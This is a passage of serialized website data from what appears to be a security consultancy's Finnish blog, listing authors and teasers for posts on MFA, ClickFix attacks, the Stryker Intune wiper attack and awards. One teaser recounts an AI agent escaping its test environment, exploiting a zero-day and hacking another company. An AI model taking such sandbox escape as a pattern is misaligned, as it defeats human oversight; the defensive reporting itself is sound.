Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2872,"avatar":2873,"permalink":2874,"twitter":2875,"linkedin":2875},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2877,"avatar":2878,"permalink":2879,"twitter":2880,"linkedin":2881,"imageOffsetTop":2882},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2884,"avatar":2885,"permalink":2886,"linkedin":2887,"twitter":2793},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2889,"avatar":2890,"permalink":2891,"linkedin":2892,"twitter":2793},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2894,"avatar":2895,"permalink":2896,"twitter":2897,"linkedin":2898},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2900,"avatar":2901,"permalink":2902,"linkedin":2903,"twitter":2793},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2905,"avatar":2906,"permalink":2907,"linkedin":2908,"twitter":2793,"imageOffsetTop":2782},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2910,"avatar":2911,"permalink":2912,"linkedin":2913,"twitter":2793},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2915,"avatar":2916,"permalink":2917,"twitter":2793},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2919,"avatar":2920,"permalink":2921,"twitter":2793,"linkedin":2922},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2924,"avatar":2925,"permalink":2926,"twitter":2927,"linkedin":2928},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2930,"avatar":2931,"permalink":2932,"linkedin":2933,"twitter":2793},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2935,"avatar":2936,"permalink":2937,"twitter":2793,"linkedin":2846},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":2942},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2943,2946],{"text":2944,"href":2945},"Blog","https://emptydc.com",{"text":2947,"href":2948},"Podcast","https://hairlessinthecloud.com",{"display_name":2950,"avatar":2951,"permalink":2952,"twitter":2953,"linkedin":2954},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2956,"avatar":2957,"permalink":2958,"twitter":2793,"linkedin":2846},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2960,"avatar":2961,"permalink":2962,"twitter":2963,"linkedin":2846},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2965,"avatar":2966,"permalink":2967,"twitter":2968,"linkedin":2969},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2971,"avatar":2972,"permalink":2973,"twitter":2974,"linkedin":2974},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2976,"avatar":2977,"permalink":2978,"twitter":2979,"linkedin":2980},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2982,"avatar":2983,"permalink":2984,"twitter":2985,"linkedin":2986},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":2988,"avatar":2989,"permalink":2990,"linkedin":2991,"twitter":2793},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":2993,"avatar":2994,"permalink":2995,"linkedin":2996,"twitter":2793},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":2998,"avatar":2999,"permalink":3000,"linkedin":3001,"twitter":3002},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":3004,"avatar":3005,"permalink":3006,"linkedin":3007},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3009,"avatar":3010,"permalink":3011,"linkedin":3012},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3014,"avatar":3015,"permalink":3016,"linkedin":3017},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3019,"avatar":3020,"permalink":3021,"linkedin":3022},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3024,"avatar":3025,"permalink":3026,"linkedin":3027,"imageOffsetTop":2782},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3029,"avatar":3030,"permalink":3031,"linkedin":3032,"imageOffsetTop":2782},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3034,"avatar":3035,"permalink":3036,"linkedin":3037,"imageOffsetTop":2882},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3039,"avatar":3040,"permalink":3041,"linkedin":3042,"imageOffsetTop":2882},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":3044,"permalink":3045,"linkedin":3046,"imageOffsetTop":2882},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3048,"avatar":3049,"permalink":3050,"linkedin":3051,"imageOffsetTop":3052,"imageOffsetLeft":3053},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3055,"avatar":3056,"permalink":3057,"linkedin":3058,"imageOffsetTop":3059,"imageOffsetLeft":3060},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3062,"avatar":3063,"permalink":3064,"linkedin":3065,"imageOffsetTop":3066,"imageOffsetLeft":2809},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3068,"Alexander Schlindwein":3069,"Sophie Luna":3070,"Nadine Klein":3071,"Karsten Kleinschmidt":3072,"Julian Wendt":3073,"Holger Bunkradt":3074,"Ralf Mania":3075,"Oliver Kieselbach":3076,"Steffen Schwerdtfeger":3077,"Gunnar Winter":3078,"Jan Petersen":3079,"Thorsten Kunzi":3080,"Moritz Pohl":3081,"Thorben Pöschus":3082,"Christoph Hannebauer":3083,"Marco Scheel":3084,"Christopher Brumm":3085,"Florian Klante":3086,"Niklas Bachmann":3087,"Nils Krautkrämer":3088,"Patrick Treptau":3089,"Peter Beckendorf":3090,"Patrick Sobau":3091,"Jörg Wunderlich":3092,"Michael Breither":3093,"Christian Kanja":3094,"Zeba Hoffmann":3095,"Jochen Fröhlich":3096,"Jan Geisbauer":3097,"Gerrit Reinke":3101,"Christian Kordel":3102,"Stephan Wälde":3103,"Carolin Kanja":3104,"Adrian Ritter":3105,"Marvin Bangert":3106,"Thorsten Pickhan":3107,"Christian Lorenz":3108,"Denis Böhm":3109,"Fabian Bader":3110,"Juan Jose Fernandez Perez":3111,"Mahschid Sayyar":3112,"Benjamin Dassow":3113,"Markus Walschburger":3114,"Jonathan Haist":3115,"Daniel Rohregger":3116,"Thomas Naunheim":3117,"Florian Stöckl":3118,"Pascal Asch":3119,"Markus Kättner":3120,"Anna Ulbricht":3121,"Annette Brauns":3122},{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},{"display_name":2784,"avatar":2785,"permalink":2786,"twitter":2787,"linkedin":2788},{"display_name":2790,"avatar":2791,"permalink":2792,"twitter":2793,"linkedin":2794,"imageOffsetLeft":2795,"imageOffsetTop":2796},{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},{"display_name":2812,"avatar":2813,"permalink":2814,"linkedin":2815},{"display_name":2817,"avatar":2818,"permalink":2819,"linkedin":2820,"twitter":2821},{"display_name":2823,"avatar":2824,"permalink":2825,"linkedin":2826,"twitter":2827},{"display_name":2829,"avatar":2830,"permalink":2831,"linkedin":2832,"twitter":2833},{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},{"display_name":2843,"avatar":2844,"permalink":2845,"twitter":2793,"linkedin":2846},{"display_name":2848,"avatar":2849,"permalink":2850,"twitter":2793,"linkedin":2851},{"display_name":2853,"avatar":2854,"permalink":2855,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},{"display_name":2857,"avatar":2858,"permalink":2859,"twitter":2793,"linkedin":2860},{"display_name":2862,"avatar":2863,"permalink":2864,"twitter":2865,"linkedin":2866},{"display_name":2868,"avatar":2869,"permalink":2870,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},{"display_name":2872,"avatar":2873,"permalink":2874,"twitter":2875,"linkedin":2875},{"display_name":2877,"avatar":2878,"permalink":2879,"twitter":2880,"linkedin":2881,"imageOffsetTop":2882},{"display_name":2884,"avatar":2885,"permalink":2886,"linkedin":2887,"twitter":2793},{"display_name":2889,"avatar":2890,"permalink":2891,"linkedin":2892,"twitter":2793},{"display_name":2894,"avatar":2895,"permalink":2896,"twitter":2897,"linkedin":2898},{"display_name":2900,"avatar":2901,"permalink":2902,"linkedin":2903,"twitter":2793},{"display_name":2905,"avatar":2906,"permalink":2907,"linkedin":2908,"twitter":2793,"imageOffsetTop":2782},{"display_name":2910,"avatar":2911,"permalink":2912,"linkedin":2913,"twitter":2793},{"display_name":2915,"avatar":2916,"permalink":2917,"twitter":2793},{"display_name":2919,"avatar":2920,"permalink":2921,"twitter":2793,"linkedin":2922},{"display_name":2924,"avatar":2925,"permalink":2926,"twitter":2927,"linkedin":2928},{"display_name":2930,"avatar":2931,"permalink":2932,"linkedin":2933,"twitter":2793},{"display_name":2935,"avatar":2936,"permalink":2937,"twitter":2793,"linkedin":2846},{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":3098},[3099,3100],{"text":2944,"href":2945},{"text":2947,"href":2948},{"display_name":2950,"avatar":2951,"permalink":2952,"twitter":2953,"linkedin":2954},{"display_name":2956,"avatar":2957,"permalink":2958,"twitter":2793,"linkedin":2846},{"display_name":2960,"avatar":2961,"permalink":2962,"twitter":2963,"linkedin":2846},{"display_name":2965,"avatar":2966,"permalink":2967,"twitter":2968,"linkedin":2969},{"display_name":2971,"avatar":2972,"permalink":2973,"twitter":2974,"linkedin":2974},{"display_name":2976,"avatar":2977,"permalink":2978,"twitter":2979,"linkedin":2980},{"display_name":2982,"avatar":2983,"permalink":2984,"twitter":2985,"linkedin":2986},{"display_name":2988,"avatar":2989,"permalink":2990,"linkedin":2991,"twitter":2793},{"display_name":2993,"avatar":2994,"permalink":2995,"linkedin":2996,"twitter":2793},{"display_name":2998,"avatar":2999,"permalink":3000,"linkedin":3001,"twitter":3002},{"display_name":3004,"avatar":3005,"permalink":3006,"linkedin":3007},{"display_name":3009,"avatar":3010,"permalink":3011,"linkedin":3012},{"display_name":3014,"avatar":3015,"permalink":3016,"linkedin":3017},{"display_name":3019,"avatar":3020,"permalink":3021,"linkedin":3022},{"display_name":3024,"avatar":3025,"permalink":3026,"linkedin":3027,"imageOffsetTop":2782},{"display_name":3029,"avatar":3030,"permalink":3031,"linkedin":3032,"imageOffsetTop":2782},{"display_name":3034,"avatar":3035,"permalink":3036,"linkedin":3037,"imageOffsetTop":2882},{"display_name":3039,"avatar":3040,"permalink":3041,"linkedin":3042,"imageOffsetTop":2882},{"display_name":523,"avatar":3044,"permalink":3045,"linkedin":3046,"imageOffsetTop":2882},{"display_name":3048,"avatar":3049,"permalink":3050,"linkedin":3051,"imageOffsetTop":3052,"imageOffsetLeft":3053},{"display_name":3055,"avatar":3056,"permalink":3057,"linkedin":3058,"imageOffsetTop":3059,"imageOffsetLeft":3060},{"display_name":3062,"avatar":3063,"permalink":3064,"linkedin":3065,"imageOffsetTop":3066,"imageOffsetLeft":2809},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3126,"authors":3329},[3127,3144,3158,3172,3188,3201,3214,3227,3239,3255,3269,3284,3289,3300,3313],{"id":3128,"title":3129,"author":3130,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3131,"moment":3136,"path":3137,"stem":3138,"tags":3139,"webcast":484},"content_fi/posts/2026-09-22-end-of-mfa-sms.md","MFA-tekstiviestin loppu",[2804],{"lang":2677,"date":3132,"categories":3133,"blogtitlepic":3134,"customExcerpt":3135},"2026-09-21",[2682],"head-conditional-access.jpg","Miksi yritysten kannattaa nyt siirtyä phishing-kestäviin ja mahdollisimman salasanattomiin kirjautumistapoihin.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[2682,3140,3141,3142,3143],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3145,"title":3146,"author":3147,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3148,"moment":3132,"path":3152,"stem":3153,"tags":3154,"webcast":484},"content_fi/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Kun käyttäjä on se exploit, ja miten te pysäytätte sen",[2778,2798],{"lang":2677,"date":3132,"categories":3149,"blogtitlepic":3150,"customExcerpt":3151},[2682],"head-clickfix.jpg","ClickFix tekee käyttäjästä oman hyökkääjänsä: väärennetty CAPTCHA, yksi copy-paste, ja haittakoodi ajaa muistissa ilman että mitään päätyy levylle. Miten Microsoft Defender tunnistaa hyökkäyksen, missä tunnistus tulee rajoilleen ja miten te suljette aukon RunMRU-huntilla ja neljällä suojauslayerilla.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3155,3156,3157],"Defender","SOC","Endpoint Security",{"id":3159,"title":3160,"author":3161,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3162,"moment":3132,"path":3166,"stem":3167,"tags":3168,"webcast":484},"content_fi/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin ja arki samalla koneella? Game Over.",[2713],{"lang":2677,"date":3132,"categories":3163,"blogtitlepic":3164,"customExcerpt":3165},[2682],"head-game-over-en.jpg","Miksi yksi tenant ei riitä CIO:lle, ja miksi toista harvoin ajatellaan mukaan. Managed Red Tenant erottaa hallinnollisen työn arkkitehtonisesti toimistoympäristöstä, Managed Dark Tenant pitää yrityksen toimintakykyisenä silloinkin, kun puolustus kaatuu. Mitä se tarkoittaa toimintamallille, SOC-signaalille ja NISG 2026:n näyttövelvollisuuksille.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[2682,3169,3170,3171],"Privileged Access","Zero Trust","NIS2",{"id":3173,"title":3174,"author":3175,"cta":494,"description":3176,"hideInRecent":484,"layout":2675,"meta":3177,"moment":3178,"path":3183,"stem":3184,"tags":3185,"webcast":484},"content_fi/posts/2026-08-08-isg-germany-2026.md","Neljä kertaa Leader. glueckkanja ISG-tutkimuksessa Saksa 2026",[2965],"ISG nimesi tutkimuksensa tänä vuonna uudelleen. Microsoft Cloud Ecosystemistä tuli Microsoft AI and Cloud Ecosystem, ja nimen mukana mittapuu on siirtynyt: arvioitavana ei ole enää se, kuka ottaa Microsoft-alustat käyttöön, vaan se, kuka ylläpitää Copilotia, agentteja ja tekoälyworkloadeja hallittavasti. Asemaamme uusi mittapuu ei muuttanut. ISG Provider Lens® -tutkimus Saksa 2026 asemoi meidät Leaderiksi neljässä kvadrantissa: Microsoft Productivity and Business Process Services ja Azure Managed Services, kummassakin Large Market ja Mid Market. Vuosien 2021, 2023, 2024 ja 2025 jälkeen tämä on viides Leader-luokitus Saksassa, Sveitsissä hyppy Leader-kvadranttiin tapahtui kaksi viikkoa aiemmin.",{"lang":2677,"date":3178,"categories":3179,"blogtitlepic":3181,"customExcerpt":3182},"2026-08-08",[3180],"Corporate","head-isg-de-2026.png","ISG Provider Lens® -tutkimus 2026 asemoi glueckkanjan Saksassa Leaderiksi neljässä kvadrantissa: Microsoft Productivity and Business Process Services ja Azure Managed Services, kummassakin Large ja Mid Market. Tutkimuksen nimi on nyt Microsoft AI and Cloud Ecosystem, ja mittapuu on siirtynyt: arvioidaan, kuka ylläpitää tekoäly- ja agenttiworkloadeja hallittavasti.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3186,3187],"Award","ISG",{"id":3189,"title":3190,"author":3191,"cta":494,"description":3192,"hideInRecent":484,"layout":2675,"meta":3193,"moment":3194,"path":3198,"stem":3199,"tags":3200,"webcast":484},"content_fi/posts/2026-07-31-isg-switzerland-2026.md","Rising Starista Leaderiksi. glueckkanja ISG-tutkimuksessa Sveitsi 2026",[2965],"Vuonna 2024 perustimme glueckkanja Switzerland AG:n ja otimme käyttöön toimiston zentroomissa osoitteessa Bahnhofplatz 10b Bernissä. Vuonna 2025 ISG luokitteli meidät Sveitsin markkinassa Rising Stariksi, toimittajaksi, jonka analyytikot uskovat hyppäävän Leader-kvadranttiin. Nyt hyppy on dokumentoitu: ISG Provider Lens® -tutkimus 2026 asemoi meidät Sveitsissä Leaderiksi kvadrantissa Microsoft AI and Cloud Ecosystem, alueilla Azure Managed Services ja Microsoft Productivity and Business Process Services.",{"lang":2677,"date":3194,"categories":3195,"blogtitlepic":3196,"customExcerpt":3197},"2026-07-31",[3180],"head-isg-ch-2026.png","ISG Provider Lens® -tutkimus 2026 asemoi glueckkanjan Sveitsissä Leaderiksi kvadrantissa Microsoft AI and Cloud Ecosystem, alueilla Azure Managed Services ja Microsoft Productivity and Business Process Services. Kaksi vuotta Bernin markkinoilletulon jälkeen, vuosi Rising Star -tunnustuksen jälkeen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3186,3187],{"id":3202,"title":3203,"author":3204,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3205,"moment":3206,"path":3210,"stem":3211,"tags":3212,"webcast":484},"content_fi/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Mitä OpenAI/Hugging-Face-tapaus paljastaa ja mitä ei",[2713],{"lang":2677,"date":3206,"categories":3207,"blogtitlepic":3208,"customExcerpt":3209},"2026-07-24",[2682],"head-outbreak.jpg","AI-agentti murtautuu ulos testiympäristöstään, löytää nollapäivähaavoittuvuuden ja hakkeroi toisen yrityksen. Kuulostaa käsikirjoitukselta, mutta tapahtui todella heinäkuussa 2026. Aika asettaa asia raittiiseen kehykseen: hieman psykologiaa, kaksi tietoturvaveteraania ja kysymys siitä, mitä tämä merkitsee teidän puolustuksellenne.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3213,3156,3170],"AI",{"id":3215,"title":3216,"author":3217,"cta":494,"description":3218,"hideInRecent":484,"layout":2675,"meta":3219,"moment":3220,"path":3224,"stem":3225,"tags":3226,"webcast":484},"content_fi/posts/2026-07-22-isg-cybersecurity-2026.md","Leader ja Rising Star. glueckkanja ISG:n Cybersecurity-tutkimuksessa 2026",[2965],"Uutena kvadrantissa ja heti Leader: ISG Provider Lens® -tutkimus \"Cybersecurity – Services and Solutions 2026\" asemoi glueckkanjan Leaderiksi Next-Gen SOC/MDR Services -alueella Saksan keskisuurten yritysten markkinassa. Next-Gen SOC/MDR Services -kokonaismarkkinassa ISG palkitsee meidät Rising Starina, eli toimittajana, jonka analyytikot uskovat hyppäävän Leader-kvadranttiin seuraavien 12–24 kuukauden aikana.",{"lang":2677,"date":3220,"categories":3221,"blogtitlepic":3222,"customExcerpt":3223},"2026-07-22",[3180],"head-isg-cybersecurity-2026.png","ISG Provider Lens® -tutkimus Cybersecurity 2026 palkitsee glueckkanjan Leaderina kvadrantissa Next-Gen SOC/MDR Services (Midmarket). Next-Gen SOC/MDR Services -kokonaismarkkinassa olemme Rising Star. ISG toteaa meille keskimääräistä paremman kasvun, syvän Microsoft-tietoturvaosaamisen ja 24/7-SOC:n Saksasta.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3186,3187,2682],{"id":3228,"title":3229,"author":3230,"cta":494,"description":3231,"hideInRecent":484,"layout":2675,"meta":3232,"moment":3233,"path":3236,"stem":3237,"tags":3238,"webcast":484},"content_fi/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: mitä tekoäly todella tarvitsee tehdäkseen työtä",[2965],"Valmistava yritys haluaa tietää, mitkä sen 14 000 SKU:sta ovat todella kannattavia. Vastaus on kolmessa järjestelmässä, jotka eivät ole koskaan vaihtaneet keskenään yhtäkään datapistettä. Vielä vähän aikaa sitten sen selvittäminen vaati kolme osastoa, kaksi viikkoa ja aimo annoksen hyvää tahtoa. Vuoden 2026 alusta tekoäly pystyy vastaamaan tähän kysymykseen minuuteissa: käymään datan läpi, luomaan yhteyksiä, tuottamaan suosituksen. Edellyttäen, että sillä on pääsy.",{"lang":2677,"date":3233,"categories":3234,"blogtitlepic":3235},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3213,131],{"id":3240,"title":3241,"author":3242,"cta":494,"description":3243,"hideInRecent":484,"layout":2675,"meta":3244,"moment":3245,"path":3249,"stem":3250,"tags":3251,"webcast":484},"content_fi/posts/2026-07-01-onboarding-process.md","Sopimus allekirjoitettu: näin perehdytyksesi meillä etenee",[3055],"Miten teidän perehdytyksenne oikeastaan etenee? Kysymys, joka tulee vastaan yhä uudelleen keskusteluissa hakijoiden kanssa, sillä moni on jo kerran kokenut takkuisen perehdytyksen. Sitäkin tärkeämpää meille on antaa sinulle hyvä tunne alusta alkaen.",{"lang":2677,"date":3245,"categories":3246,"blogtitlepic":3247,"customExcerpt":3248},"2026-07-01",[3180],"Onboarding_Blogheader","Sopimus on allekirjoitettu, ensimmäinen suuri askel on otettu. Mutta miten tästä eteenpäin? Otamme sinut mukaan kulissien taakse perehdytykseemme, PreBoardingista ensimmäiseen viikkoon tiimissä.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3252,3253,3254],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3256,"title":3257,"author":3258,"cta":494,"description":3259,"hideInRecent":484,"layout":2675,"meta":3260,"moment":3261,"path":3265,"stem":3266,"tags":3267,"webcast":484},"content_fi/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: kuulumme joukkoon",[2965],"Microsoftin kumppaniekosysteemissä on koko joukko tunnustuksia, ja silti Frontier Partner -merkki erottuu rakenteeltaan muista palkinnoista. Sitä ei voi hakea, vaan Microsoft myöntää sen omasta aloitteestaan pienelle joukolle kumppaneita, joiden on vakuutettava useammalla osa-alueella rinnakkain sen sijaan, että loistaisivat vain yhdellä. Microsoft arvioi tässä osoitettua osaamista Cloud & AI Platforms-, AI Business Solutions- ja Security-alueilla yhtä lailla ja puhuttelee näin yrityksiä, jotka eivät ymmärrä tekoälyä olemassa olevan IT:n päälle liimattuna lisänä vaan yhtenäisen arkkitehtuurin tuloksena, joka kantaa identiteetistä päätelaitteen kautta tuotannolliseen tekoälykäyttöön asti.",{"lang":2677,"date":3261,"categories":3262,"blogtitlepic":3263,"customExcerpt":3264},"2026-06-26",[3180],"head-frontier-partner-badge.jpg","Microsoft AI Cloud Partner Program -ohjelmaan on hiljattain tullut uusi huipputunnustus, Frontier Partner -merkki. Microsoft myöntää sen ainoastaan pienelle joukolle kumppaneita maailmanlaajuisesti, jotka toimittavat tekoälyprojekteja kestävästi koko Microsoft-stackin läpi, työpaikasta pilvialustaan ja tietoturvaan sekä itse tekoälysovellukseen asti, ja jotka ovat osoittaneet tämän käytännössä. DACH-alueella tähän joukkoon kuuluu vain kourallinen yrityksiä, ja me olemme yksi niistä.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3186,3268,3213],"Microsoft Partner",{"id":3270,"title":3271,"author":3272,"cta":494,"description":3273,"hideInRecent":484,"layout":2675,"meta":3274,"moment":3275,"path":3279,"stem":3280,"tags":3281,"webcast":484},"content_fi/posts/2026-06-09-vair-run.md","160 kilometriä hyvän asian puolesta",[3062],"Sunnuntaiaamu, klo 8:30, Holbeinsteg Main-joen varrella. Yksitoista kollegaa yhtenäisissä NinjaCat-paidoissa, valmiina Frankfurter Runden -tapahtumaan. Sateen, salamoiden ja ukkosen kera. Hyvän asian puolesta juokseminen oli riittävä motivaatio nyöritä juoksukengät huonosta säästä huolimatta.",{"lang":2677,"date":3275,"categories":3276,"blogtitlepic":3277,"customExcerpt":3278},"2026-06-08",[3180],"frankfurter-runden.png","Yksitoista kollegaa, 16 kierrosta, 160 kilometriä, ukkosmyrsky ja palkintopallisija: glueckkanja osallistui Frankfurter Runden 2026 -tapahtumaan ja lahjoitti jokaisesta juostusta kierroksesta VAIR e.V.:lle, joka rakentaa Offenbachiin inklusiivista liikunta- ja kulttuuripuistoa.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3282,3252,3283],"Top Arbeitgeber","Soziales Engagement",{"id":520,"title":521,"author":3285,"cta":494,"description":530,"hideInRecent":484,"layout":2675,"meta":3286,"moment":2680,"path":2762,"stem":2764,"tags":3288,"webcast":484},[523],{"lang":2677,"date":2680,"categories":3287,"blogtitlepic":2683,"customExcerpt":2685},[2682],[2766,2767,2768,2769,2770],{"id":3290,"title":3291,"author":3292,"cta":494,"description":3293,"hideInRecent":484,"layout":2675,"meta":3294,"moment":3295,"path":3298,"stem":3299,"tags":494,"webcast":484},"content_fi/posts/2026-03-21-microsoft-edge-corporate-browser.md","Miksi Edgen pitäisi olla ainoa Corporate Browserinne",[2835],"Selaimen valinta on yritysympäristöissä strateginen päätös: se vaikuttaa suoraan siihen, kuinka paljon turvallisuutta ja hallintatyötä teillä todellisuudessa on. Google Chrome oli pitkään ilmeinen valinta, mutta Microsoft Edge on kehittynyt selaimeksi, joka kytkeytyy suoraan olemassa olevaan stackiin, etenkin kun Microsoft 365 on käytössä ja hallinta hoidetaan Intunen kautta.",{"lang":2677,"date":3295,"blogtitlepic":3296,"customExcerpt":3297},"2026-03-21","head-microsoft-edge-default-browser.jpg","Mikään yritys ei ole oikeasti valinnut Chromea; se oli vain siellä, omalla synkronointilogiikallaan, omalla tilinhallinnallaan, omalla käytäntöjen käyttöliittymällään. Microsoft Edge sen sijaan kytkeytyy suoraan infrastruktuuriin, joka on jo muutenkin käytössä: Entra ID, Intune, Defender. Tämä artikkeli näyttää, miltä vaihto näyttää, miten Chrome uudelleenohjataan Intune-käytännöllä laskeutumissivulle ja mikä jää pois, kun lakkaa käyttämästä kahta selainta rinnakkain.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3301,"title":3302,"author":3303,"cta":494,"description":3304,"hideInRecent":484,"layout":2675,"meta":3305,"moment":3306,"path":3310,"stem":3311,"tags":3312,"webcast":484},"content_fi/posts/2026-03-20-stryker-attack-intune-privilege.md","Yksi admin-tili oli kaikki, mitä siihen tarvittiin.",[2713],"Keskiviikko 11. maaliskuuta 2026. Stryker-toimistojen työntekijät 79 maassa käynnistivät tietokoneensa ja löysivät ne tyhjinä. Kirjautumisnäytöt korvattuina logolla. Yrityksen kannettavat, työpuhelimet, yksityiset laitteet, jotka oli rekisteröity yrityksen BYOD-ohjelmaan – kaikki pyyhitty yhtä aikaa, yhden yön aikana. Ei kiristysohjelmaa, ei haittaohjelmasignatuureja, ei mitään, minkä päätelaitteiden suojaustyökalu olisi voinut havaita.",{"lang":2677,"date":3306,"categories":3307,"blogtitlepic":3308,"customExcerpt":3309},"2026-03-20",[2682],"head-stryker.jpg","11. maaliskuuta 2026 Handala pyyhki laitteita 79 maassa, ja siihen tarvittiin vain yksi kaapattu Intunen admin-tili. Ei haittaohjelmia, ei exploittia, pelkkiä laillisia hallintatyökaluja käännettynä niiden omistajia vastaan. Mitä tapahtui, miksi se toimi ja mitkä kaksi arkkitehtuurin aukkoa on suljettava.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,3169,3170],{"id":3314,"title":3315,"author":3316,"cta":494,"description":3317,"hideInRecent":484,"layout":2675,"meta":3318,"moment":3319,"path":3323,"stem":3324,"tags":3325,"webcast":484},"content_fi/posts/2026-03-16-ai-agent-hackathon.md","Kuusi agenttia. Neljä viikkoa. Aitoa tuotantokäyttöä.",[2965],"Kuinka monta tuntia viikossa IT-osastonne käyttää tehtäviin, jotka agentti hoitaisi minuuteissa?",{"lang":2677,"date":3319,"categories":3320,"blogtitlepic":3321,"customExcerpt":3322},"2026-03-16",[3180],"head-ai-agent-hackathon.jpg","Kuusi yritystä, neljän viikon rakennusvaihe, kuusi 